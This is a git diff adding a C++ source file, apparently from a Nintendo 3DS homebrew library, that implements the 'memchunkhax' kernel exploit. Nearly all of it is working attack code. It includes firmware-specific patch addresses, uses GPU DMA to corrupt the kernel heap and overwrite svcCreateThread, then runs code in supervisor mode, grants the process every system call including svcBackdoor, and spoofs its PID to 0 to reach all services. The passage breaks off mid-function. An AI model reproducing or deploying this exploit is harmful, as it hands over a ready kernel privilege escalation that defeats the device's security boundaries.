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Diffstat (limited to '3ds/libkhax/khaxinit.cpp')
| -rw-r--r-- | 3ds/libkhax/khaxinit.cpp | 1110 |
1 files changed, 1110 insertions, 0 deletions
diff --git a/3ds/libkhax/khaxinit.cpp b/3ds/libkhax/khaxinit.cpp new file mode 100644 index 0000000..5c5ad81 --- /dev/null +++ b/3ds/libkhax/khaxinit.cpp @@ -0,0 +1,1110 @@ +#include <3ds.h>
+#include <cstddef>
+#include <cstdint>
+#include <cstdio>
+#include <cstdlib>
+#include <cstring>
+#include <limits>
+
+#include "khax.h"
+#include "khaxinternal.h"
+
+//------------------------------------------------------------------------------------------------
+namespace KHAX
+{
+ //------------------------------------------------------------------------------------------------
+ // Kernel and hardware version information.
+ struct VersionData
+ {
+ // New 3DS?
+ bool m_new3DS;
+ // Kernel version number
+ u32 m_kernelVersion;
+ // Nominal version number lower bound (for informational purposes only)
+ u32 m_nominalVersion;
+ // Patch location in svcCreateThread
+ u32 m_threadPatchAddress;
+ // Original version of code at m_threadPatchAddress
+ static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;
+ // System call unlock patch location
+ u32 m_syscallPatchAddress;
+ // Kernel virtual address mapping of FCRAM
+ u32 m_fcramVirtualAddress;
+ // Physical mapping of FCRAM on this machine
+ static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;
+ // Physical size of FCRAM on this machine
+ u32 m_fcramSize;
+ // Address of KThread address in kernel (KThread **)
+ static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);
+ // Address of KProcess address in kernel (KProcess **)
+ static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);
+ // Pseudo-handle of the current KProcess.
+ static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;
+ // Returned pointers within a KProcess object. This abstracts out which particular
+ // version of the KProcess object is in use.
+ struct KProcessPointers
+ {
+ KSVCACL *m_svcAccessControl;
+ u32 *m_kernelFlags;
+ u32 *m_processID;
+ };
+ // Creates a KProcessPointers for this kernel version and pointer to the object.
+ KProcessPointers(*m_makeKProcessPointers)(void *kprocess);
+
+ // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
+ // address using the version-specific information in this table entry.
+ void *ConvertLinearUserVAToKernelVA(void *address) const;
+
+ // Retrieve a VersionData for this kernel, or null if not recognized.
+ static const VersionData *GetForCurrentSystem();
+
+ private:
+ // Implementation behind m_makeKProcessPointers.
+ template <typename KProcessType>
+ static KProcessPointers MakeKProcessPointers(void *kprocess);
+
+ // Table of these.
+ static const VersionData s_versionTable[];
+ };
+
+ //------------------------------------------------------------------------------------------------
+ // ARM11 kernel hack class.
+ class MemChunkHax
+ {
+ public:
+ // Construct using the version information for the current system.
+ MemChunkHax(const VersionData *versionData)
+ : m_versionData(versionData),
+ m_nextStep(1),
+ m_corrupted(0),
+ m_overwriteMemory(nullptr),
+ m_overwriteAllocated(0),
+ m_extraLinear(nullptr)
+ {
+ s_instance = this;
+ }
+
+ // Free memory and such.
+ ~MemChunkHax();
+
+ // Umm, don't copy this class.
+ MemChunkHax(const MemChunkHax &) = delete;
+ MemChunkHax &operator =(const MemChunkHax &) = delete;
+
+ // Basic initialization.
+ Result Step1_Initialize();
+ // Allocate linear memory for the memchunkhax operation.
+ Result Step2_AllocateMemory();
+ // Free the second and fourth pages of the five.
+ Result Step3_SurroundFree();
+ // Verify that the freed heap blocks' data matches our expected layout.
+ Result Step4_VerifyExpectedLayout();
+ // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
+ Result Step5_CorruptCreateThread();
+ // Execute svcCreateThread to execute code at SVC privilege.
+ Result Step6_ExecuteSVCCode();
+ // Grant access to all services.
+ Result Step7_GrantServiceAccess();
+
+ private:
+ // SVC-mode entry point thunk (true entry point).
+ static Result Step6a_SVCEntryPointThunk();
+ // SVC-mode entry point.
+ Result Step6b_SVCEntryPoint();
+ // Undo the code patch that Step5_CorruptCreateThread did.
+ Result Step6c_UndoCreateThreadPatch();
+ // Fix the heap corruption caused as a side effect of step 5.
+ Result Step6d_FixHeapCorruption();
+ // Grant our process access to all system calls, including svcBackdoor.
+ Result Step6e_GrantSVCAccess();
+ // Flush instruction and data caches.
+ Result Step6f_FlushCaches();
+ // Patch the process ID to 0. Runs as svcBackdoor.
+ static Result Step7a_PatchPID();
+ // Restore the original PID. Runs as svcBackdoor.
+ static Result Step7b_UnpatchPID();
+
+ // Helper for dumping memory to SD card.
+ template <std::size_t S>
+ bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;
+
+ // Result returned by hacked svcCreateThread upon success.
+ static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;
+
+ // Version information.
+ const VersionData *const m_versionData;
+ // Next step number.
+ int m_nextStep;
+ // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.
+ int m_corrupted;
+
+ // Free block structure in the kernel, the one used in the memchunkhax exploit.
+ struct HeapFreeBlock
+ {
+ int m_count;
+ HeapFreeBlock *m_next;
+ HeapFreeBlock *m_prev;
+ int m_unknown1;
+ int m_unknown2;
+ };
+
+ // The layout of a memory page.
+ union Page
+ {
+ unsigned char m_bytes[4096];
+ HeapFreeBlock m_freeBlock;
+ };
+
+ // The linear memory allocated for the memchunkhax overwrite.
+ struct OverwriteMemory
+ {
+ union
+ {
+ unsigned char m_bytes[6 * 4096];
+ Page m_pages[6];
+ };
+ };
+ OverwriteMemory *m_overwriteMemory;
+ unsigned m_overwriteAllocated;
+
+ // Additional linear memory buffer for temporary purposes.
+ union ExtraLinearMemory
+ {
+ ALIGN(64) unsigned char m_bytes[64];
+ // When interpreting as a HeapFreeBlock.
+ HeapFreeBlock m_freeBlock;
+ };
+ // Must be a multiple of 16 for use with gspwn.
+ static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");
+ ExtraLinearMemory *m_extraLinear;
+
+ // Copy of the old ACL
+ KSVCACL m_oldACL;
+
+ // Original process ID.
+ u32 m_originalPID;
+
+ // Buffers for dumped data when debugging.
+ #ifdef KHAX_DEBUG_DUMP_DATA
+ unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];
+ unsigned char m_savedKThread[sizeof(KThread)];
+ unsigned char m_savedThreadSVC[0x100];
+ #endif
+
+ // Pointer to our instance.
+ static MemChunkHax *volatile s_instance;
+ };
+
+ //------------------------------------------------------------------------------------------------
+ // Make an error code
+ inline Result MakeError(Result level, Result summary, Result module, Result error);
+ enum : Result { KHAX_MODULE = 254 };
+ // Check whether this system is a New 3DS.
+ Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);
+ // gspwn, meant for reading from or writing to freed buffers.
+ Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);
+ // Given a pointer to a structure that is a member of another structure,
+ // return a pointer to the outer structure. Inspired by Windows macro.
+ template <typename Outer, typename Inner>
+ Outer *ContainingRecord(Inner *member, Inner Outer::*field);
+}
+
+
+//------------------------------------------------------------------------------------------------
+//
+// Class VersionData
+//
+
+//------------------------------------------------------------------------------------------------
+// Creates a KProcessPointers for this kernel version and pointer to the object.
+template <typename KProcessType>
+KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)
+{
+ KProcessType *kproc = static_cast<KProcessType *>(kprocess);
+
+ KProcessPointers result;
+ result.m_svcAccessControl = &kproc->m_svcAccessControl;
+ result.m_processID = &kproc->m_processID;
+ result.m_kernelFlags = &kproc->m_kernelFlags;
+ return result;
+}
+
+//------------------------------------------------------------------------------------------------
+// System version table
+const KHAX::VersionData KHAX::VersionData::s_versionTable[] =
+{
+#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>
+
+ // Old 3DS, old address layout
+ { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
+ // Old 3DS, new address layout
+ { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
+ { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
+ // New 3DS
+ { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested
+ { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },
+
+#undef KPROC_FUNC
+};
+
+//------------------------------------------------------------------------------------------------
+// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
+// address using the version-specific information in this table entry.
+void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const
+{
+ static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),
+ "you're sure that this is a 3DS?");
+
+ // Need the pointer as an integer.
+ u32 addr = reinterpret_cast<u32>(address);
+
+ // Convert the address to a physical address, since that's how we know the mapping.
+ u32 physical = osConvertVirtToPhys(addr);
+ if (physical == 0)
+ {
+ return nullptr;
+ }
+
+ // Verify that the address is within FCRAM.
+ if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))
+ {
+ return nullptr;
+ }
+
+ // Now we can convert.
+ return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);
+}
+
+//------------------------------------------------------------------------------------------------
+// Retrieve a VersionData for this kernel, or null if not recognized.
+const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()
+{
+ // Get kernel version for comparison.
+ u32 kernelVersion = osGetKernelVersion();
+
+ // Determine whether this is a New 3DS.
+ bool isNew3DS;
+ if (IsNew3DS(&isNew3DS, kernelVersion) != 0)
+ {
+ return nullptr;
+ }
+
+ // Search our list for a match.
+ for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)
+ {
+ // New 3DS flag must match.
+ if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))
+ {
+ continue;
+ }
+ // Kernel version must match.
+ if (entry->m_kernelVersion != kernelVersion)
+ {
+ continue;
+ }
+
+ return entry;
+ }
+
+ return nullptr;
+}
+
+
+//------------------------------------------------------------------------------------------------
+//
+// Class MemChunkHax
+//
+
+//------------------------------------------------------------------------------------------------
+KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;
+
+//------------------------------------------------------------------------------------------------
+// Basic initialization.
+Result KHAX::MemChunkHax::Step1_Initialize()
+{
+ if (m_nextStep != 1)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Nothing to do in current implementation.
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Allocate linear memory for the memchunkhax operation.
+Result KHAX::MemChunkHax::Step2_AllocateMemory()
+{
+ if (m_nextStep != 2)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Allocate the linear memory for the overwrite process.
+ u32 address = 0xFFFFFFFF;
+ Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,
+ static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));
+
+ KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);
+
+ if (result != 0)
+ {
+ return result;
+ }
+
+ m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);
+ m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now
+
+ // Why didn't we get a page-aligned address?!
+ if (address & 0xFFF)
+ {
+ // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.
+ KHAX_printf("Step2:misaligned memory\n");
+ return MakeError(26, 7, KHAX_MODULE, 1009);
+ }
+
+ // Allocate extra memory that we'll need.
+ m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),
+ alignof(*m_extraLinear)));
+ if (!m_extraLinear)
+ {
+ KHAX_printf("Step2:failed extra alloc\n");
+ return MakeError(26, 3, KHAX_MODULE, 1011);
+ }
+ KHAX_printf("Step2:extra=%p\n", m_extraLinear);
+
+ // OK, we're good here.
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Free the second and fourth pages of the five.
+Result KHAX::MemChunkHax::Step3_SurroundFree()
+{
+ if (m_nextStep != 3)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // We do this because the exploit involves triggering a heap coalesce. We surround a heap
+ // block (page) with two freed pages, then free the middle page. By controlling both outside
+ // pages, we know their addresses, and can fix up the corrupted heap afterward.
+ //
+ // Here's what the heap will look like after step 3:
+ //
+ // ___XX-X-X___
+ //
+ // _ = unknown (could be allocated and owned by other code)
+ // X = allocated
+ // - = allocated then freed by us
+ //
+ // In step 4, we will free the second page:
+ //
+ // ___X--X-X___
+ //
+ // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's
+ // "previous" pointer will be set to point to the second page rather than the third. We will
+ // use gspwn to make that overwrite kernel code instead.
+ //
+ // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little
+ // sandbox to play in. In particular, we can use this design to determine the address of the
+ // next block--by controlling the location of the next block.
+ u32 dummy;
+
+ // Free the third page.
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,
+ sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))
+ {
+ KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);
+ return result;
+ }
+ m_overwriteAllocated &= ~(1u << 2);
+
+ // Free the fifth page.
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,
+ sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))
+ {
+ KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);
+ return result;
+ }
+ m_overwriteAllocated &= ~(1u << 4);
+
+ // Attempt to write to remaining pages.
+ //KHAX_printf("Step2:probing page [0]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;
+ //KHAX_printf("Step2:probing page [1]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;
+ //KHAX_printf("Step2:probing page [3]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;
+ //KHAX_printf("Step2:probing page [5]\n");
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;
+ KHAX_printf("Step3:probing done\n");
+
+ // Done.
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Verify that the freed heap blocks' data matches our expected layout.
+Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()
+{
+ if (m_nextStep != 4)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Copy the first freed page (third page) out to read its heap metadata.
+ std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));
+
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step4:gspwn failed:%08lx\n", result);
+ return result;
+ }
+
+ // Debug information about the memory block
+ KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->
+ ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));
+ KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
+ m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
+
+ // The next page from the third should equal the fifth page.
+ if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[4]))
+ {
+ KHAX_printf("Step4:[2]->next != [4]\n");
+ KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,
+ m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),
+ &m_overwriteMemory->m_pages[4]);
+ return MakeError(26, 5, KHAX_MODULE, 1014);
+ }
+
+ // Copy the second freed page (fifth page) out to read its heap metadata.
+ std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));
+
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step4:gspwn failed:%08lx\n", result);
+ return result;
+ }
+
+ KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->
+ ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));
+ KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
+ m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
+
+ // The previous page from the fifth should equal the third page.
+ if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[2]))
+ {
+ KHAX_printf("Step4:[4]->prev != [2]\n");
+ KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,
+ m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),
+ &m_overwriteMemory->m_pages[2]);
+ return MakeError(26, 5, KHAX_MODULE, 1014);
+ }
+
+ // Validation successful
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
+Result KHAX::MemChunkHax::Step5_CorruptCreateThread()
+{
+ if (m_nextStep != 5)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Read the memory page we're going to gspwn.
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step5:gspwn read failed:%08lx\n", result);
+ return result;
+ }
+
+ // Adjust the "next" pointer to point to within the svcCreateThread system call so as to
+ // corrupt certain instructions. The result will be that calling svcCreateThread will result
+ // in executing our code.
+ // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.
+ // That is, the overwrite adds this offset back in.
+ m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(
+ m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));
+
+ // Do the GSPwn, the actual exploit we've been waiting for.
+ if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,
+ sizeof(*m_extraLinear)))
+ {
+ KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);
+ return result;
+ }
+
+ // The heap is now corrupted in two ways (Step6 explains why two ways).
+ m_corrupted += 2;
+
+ KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");
+
+ // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third
+ // page into the second page, and in the process zap an instruction pair in svcCreateThread.
+ u32 dummy;
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),
+ 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))
+ {
+ KHAX_printf("Step5:free to pwn failed:%08lx\n", result);
+ return result;
+ }
+ m_overwriteAllocated &= ~(1u << 1);
+
+ // We have an additional layer of instability because of the kernel code overwrite.
+ ++m_corrupted;
+
+ KHAX_printf("Step5:svcCreateThread now hacked\n");
+
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Execute svcCreateThread to execute code at SVC privilege.
+Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()
+{
+ if (m_nextStep != 6)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Call svcCreateThread such that r0 is the desired exploit function. Note that the
+ // parameters to the usual system call thunk are rearranged relative to the actual system call
+ // - the thread priority parameter is actually the one that goes into r0. In addition, we
+ // want to pass other parameters that make for an illegal thread creation request, because the
+ // rest of the thread creation SVC occurs before the hacked code gets executed. We want the
+ // thread creation request to fail, then the hack to grant us control. Processor ID
+ // 0x7FFFFFFF seems to do the trick here.
+ Handle dummyHandle;
+ Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(
+ Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());
+
+ KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);
+
+ if (result != STEP6_SUCCESS_RESULT)
+ {
+ // If the result was 0, something actually went wrong.
+ if (result == 0)
+ {
+ result = MakeError(27, 11, KHAX_MODULE, 1023);
+ }
+
+ return result;
+ }
+
+#ifdef KHAX_DEBUG
+ char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];
+ char *sp = oldACLString;
+ for (unsigned char b : m_oldACL)
+ {
+ *sp++ = "0123456789abcdef"[b >> 4];
+ *sp++ = "0123456789abcdef"[b & 15];
+ }
+ *sp = '\0';
+
+ KHAX_printf("oldACL:%s\n", oldACLString);
+#endif
+
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// SVC-mode entry point thunk (true entry point).
+#ifndef _MSC_VER
+__attribute__((__naked__))
+#endif
+Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()
+{
+ __asm__ volatile("add sp, sp, #8");
+
+ register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();
+
+ __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));
+}
+
+//------------------------------------------------------------------------------------------------
+// SVC-mode entry point.
+#ifndef _MSC_VER
+__attribute__((__noinline__))
+#endif
+Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()
+{
+ if (Result result = Step6c_UndoCreateThreadPatch())
+ {
+ return result;
+ }
+ if (Result result = Step6d_FixHeapCorruption())
+ {
+ return result;
+ }
+ if (Result result = Step6e_GrantSVCAccess())
+ {
+ return result;
+ }
+ if (Result result = Step6f_FlushCaches())
+ {
+ return result;
+ }
+
+ return STEP6_SUCCESS_RESULT;
+}
+
+//------------------------------------------------------------------------------------------------
+// Undo the code patch that Step5_CorruptCreateThread did.
+Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()
+{
+ // Unpatch svcCreateThread. NOTE: Misaligned pointer.
+ *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->
+ m_threadPatchOriginalCode;
+ --m_corrupted;
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Fix the heap corruption caused as a side effect of step 5.
+Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()
+{
+ // The kernel's heap coalesce code seems to be like the following for the case we triggered,
+ // where we're freeing a block before ("left") an adjacent block ("right"):
+ //
+ // (1) left->m_count += right->m_count;
+ // (2) left->m_next = right->m_next;
+ // (3) right->m_next->m_prev = left;
+ //
+ // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point
+ // to where we want to patch, such that the write to m_prev is the desired code overwrite.
+ // (2) is copying the value we put into right->m_next to accomplish (3).
+ //
+ // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to
+ // point to the correct next free block, and do the write to right->m_next->m_prev that didn't
+ // happen because it instead was writing to kernel code.
+
+ // "left" is the second overwrite page.
+ auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[1].m_freeBlock));
+ // "right->m_next" is the fifth overwrite page.
+ auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[4].m_freeBlock));
+
+ // Do the two fixups.
+ left->m_next = rightNext;
+ --m_corrupted;
+
+ rightNext->m_prev = left;
+ --m_corrupted;
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Grant our process access to all system calls, including svcBackdoor.
+Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()
+{
+ // Everything, except nonexistent services 00, 7E or 7F.
+ static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";
+
+ // Get the KThread pointer. Its type doesn't vary, so far.
+ KThread *kthread = *m_versionData->m_currentKThreadPtr;
+
+ // Debug dumping.
+#ifdef KHAX_DEBUG_DUMP_DATA
+ // Get the KProcess pointer, whose type varies by kernel version.
+ void *kprocess = *m_versionData->m_currentKProcessPtr;
+
+ void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));
+ std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));
+ std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));
+ std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));
+#endif
+
+ // Get a pointer to the SVC ACL within the SVC area for the thread.
+ SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);
+ KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;
+
+ // Save the old one for diagnostic purposes.
+ std::memcpy(m_oldACL, threadACL, sizeof(threadACL));
+
+ // Set the ACL for the current thread.
+ std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Flush instruction and data caches.
+Result KHAX::MemChunkHax::Step6f_FlushCaches()
+{
+ // Invalidates the entire instruction cache.
+ __asm__ volatile(
+ "mov r0, #0\n\t"
+ "mcr p15, 0, r0, c7, c5, 0\n\t");
+
+ // Invalidates the entire data cache.
+ __asm__ volatile(
+ "mov r0, #0\n\t"
+ "mcr p15, 0, r0, c7, c10, 0\n\t");
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Grant access to all services.
+Result KHAX::MemChunkHax::Step7_GrantServiceAccess()
+{
+ // Backup the original PID.
+ Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);
+ if (result != 0)
+ {
+ KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);
+ return result;
+ }
+
+ KHAX_printf("Step7:current pid=%lu\n", m_originalPID);
+
+ // Patch the PID to 0, granting access to all services.
+ svcBackdoor(Step7a_PatchPID);
+
+ // Check whether PID patching succeeded.
+ u32 newPID;
+ result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
+ if (result != 0)
+ {
+ // Attempt patching back anyway, for stability reasons.
+ svcBackdoor(Step7b_UnpatchPID);
+ KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);
+ return result;
+ }
+
+ if (newPID != 0)
+ {
+ KHAX_printf("Step7:nonzero:%lu\n", newPID);
+ return MakeError(27, 11, KHAX_MODULE, 1023);
+ }
+
+ // Reinit ctrulib's srv connection to gain access to all services.
+ srvExit();
+ srvInit();
+
+ // Restore the original PID now that srv has been tricked into thinking that we're PID 0.
+ svcBackdoor(Step7b_UnpatchPID);
+
+ // Check whether PID restoring succeeded.
+ result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
+ if (result != 0)
+ {
+ KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);
+ return result;
+ }
+
+ if (newPID != m_originalPID)
+ {
+ KHAX_printf("Step7:not same:%lu\n", newPID);
